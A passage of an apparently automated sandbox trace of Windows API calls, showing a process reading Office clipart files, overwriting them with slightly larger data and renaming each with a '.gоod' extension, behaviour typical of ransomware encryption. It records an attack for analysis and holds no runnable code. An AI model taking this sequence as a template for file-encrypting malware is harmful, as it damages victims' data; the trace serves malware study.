ftLastWriteTime.dwLowDateTime=0x551f9391, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf80)) returned 1 [0149.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0149.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.gоod")) returned 1 [0149.170] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", lpFilePart=0x0) returned 0x44 [0149.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0149.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37fba40 | out: lpFileInformation=0x37fba40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32)) returned 1 [0149.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0149.171] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", lpFilePart=0x0) returned 0x44 [0149.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.171] GetFileType (hFile=0x804) returned 0x1 [0149.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.171] GetFileType (hFile=0x804) returned 0x1 [0149.171] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xd32 [0149.171] ReadFile (in: hFile=0x804, lpBuffer=0x37fca20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x37fca20*, lpNumberOfBytesRead=0x1faedc88*=0xd32, lpOverlapped=0x0) returned 1 [0149.173] CloseHandle (hObject=0x804) returned 1 [0149.560] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", lpFilePart=0x0) returned 0x44 [0149.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0149.561] GetFileType (hFile=0x7f8) returned 0x1 [0149.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.561] GetFileType (hFile=0x7f8) returned 0x1 [0149.561] WriteFile (in: hFile=0x7f8, lpBuffer=0x3907d88*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3907d88*, lpNumberOfBytesWritten=0x1faedb98*=0xd40, lpOverlapped=0x0) returned 1 [0149.562] CloseHandle (hObject=0x7f8) returned 1 [0149.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF", lpFilePart=0x0) returned 0x44 [0149.562] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0149.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0149.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x555acaae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd40)) returned 1 [0149.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0149.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.gоod")) returned 1 [0149.563] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", lpFilePart=0x0) returned 0x44 [0149.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0149.563] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3909018 | out: lpFileInformation=0x3909018*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30)) returned 1 [0149.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0149.564] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", lpFilePart=0x0) returned 0x44 [0149.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0149.564] GetFileType (hFile=0x7f8) returned 0x1 [0149.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.564] GetFileType (hFile=0x7f8) returned 0x1 [0149.564] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xc30 [0149.564] ReadFile (in: hFile=0x7f8, lpBuffer=0x3909ef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3909ef0*, lpNumberOfBytesRead=0x1faedc88*=0xc30, lpOverlapped=0x0) returned 1 [0149.565] CloseHandle (hObject=0x7f8) returned 1 [0149.717] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", lpFilePart=0x0) returned 0x44 [0149.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0149.718] GetFileType (hFile=0x7dc) returned 0x1 [0149.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.718] GetFileType (hFile=0x7dc) returned 0x1 [0149.718] WriteFile (in: hFile=0x7dc, lpBuffer=0x378f338*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x378f338*, lpNumberOfBytesWritten=0x1faedb98*=0xc40, lpOverlapped=0x0) returned 1 [0149.719] CloseHandle (hObject=0x7dc) returned 1 [0149.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF", lpFilePart=0x0) returned 0x44 [0149.719] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0149.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0149.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x557502ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc40)) returned 1 [0149.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0149.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.gоod")) returned 1 [0149.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", lpFilePart=0x0) returned 0x44 [0149.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0149.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x37905c8 | out: lpFileInformation=0x37905c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2)) returned 1 [0149.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0149.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", lpFilePart=0x0) returned 0x44 [0149.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0149.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0149.721] GetFileType (hFile=0x7dc) returned 0x1 [0149.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0149.721] GetFileType (hFile=0x7dc) returned 0x1 [0149.721] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xbd2 [0149.721] ReadFile (in: hFile=0x7dc, lpBuffer=0x3791448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3791448*, lpNumberOfBytesRead=0x1faedc88*=0xbd2, lpOverlapped=0x0) returned 1 [0149.722] CloseHandle (hObject=0x7dc) returned 1 [0150.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", lpFilePart=0x0) returned 0x44 [0150.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0150.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.289] GetFileType (hFile=0x644) returned 0x1 [0150.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0150.289] GetFileType (hFile=0x644) returned 0x1 [0150.289] WriteFile (in: hFile=0x644, lpBuffer=0x386ce38*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x386ce38*, lpNumberOfBytesWritten=0x1faedb98*=0xbe0, lpOverlapped=0x0) returned 1 [0150.290] CloseHandle (hObject=0x644) returned 1 [0150.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF", lpFilePart=0x0) returned 0x44 [0150.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0150.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0150.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x55cad8fa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe0)) returned 1 [0150.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0150.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.gоod")) returned 1 [0150.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0150.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x386e0c8 | out: lpFileInformation=0x386e0c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e)) returned 1 [0150.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0150.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0150.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.292] GetFileType (hFile=0x644) returned 0x1 [0150.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0150.292] GetFileType (hFile=0x644) returned 0x1 [0150.292] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0150.292] ReadFile (in: hFile=0x644, lpBuffer=0x386e4e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x386e4e0*, lpNumberOfBytesRead=0x1faedd28*=0x27e, lpOverlapped=0x0) returned 1 [0150.293] CloseHandle (hObject=0x644) returned 1 [0150.293] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0150.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.294] GetFileType (hFile=0x644) returned 0x1 [0150.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0150.294] GetFileType (hFile=0x644) returned 0x1 [0150.294] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x127e [0150.294] WriteFile (in: hFile=0x644, lpBuffer=0x386f778*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x386f778*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0150.294] CloseHandle (hObject=0x644) returned 1 [0150.294] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0150.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.294] GetFileType (hFile=0x644) returned 0x1 [0150.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0150.294] GetFileType (hFile=0x644) returned 0x1 [0150.294] ReadFile (in: hFile=0x644, lpBuffer=0x3871a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3871a38*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0150.882] CloseHandle (hObject=0x644) returned 1 [0150.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0150.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0150.883] GetFileType (hFile=0x644) returned 0x1 [0150.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0150.883] GetFileType (hFile=0x644) returned 0x1 [0150.883] WriteFile (in: hFile=0x644, lpBuffer=0x3776e38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3776e38*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0150.883] CloseHandle (hObject=0x644) returned 1 [0150.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF", lpFilePart=0x0) returned 0x44 [0150.883] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0150.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0150.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56257288, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x128e)) returned 1 [0150.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0150.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.gоod")) returned 1 [0150.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF", 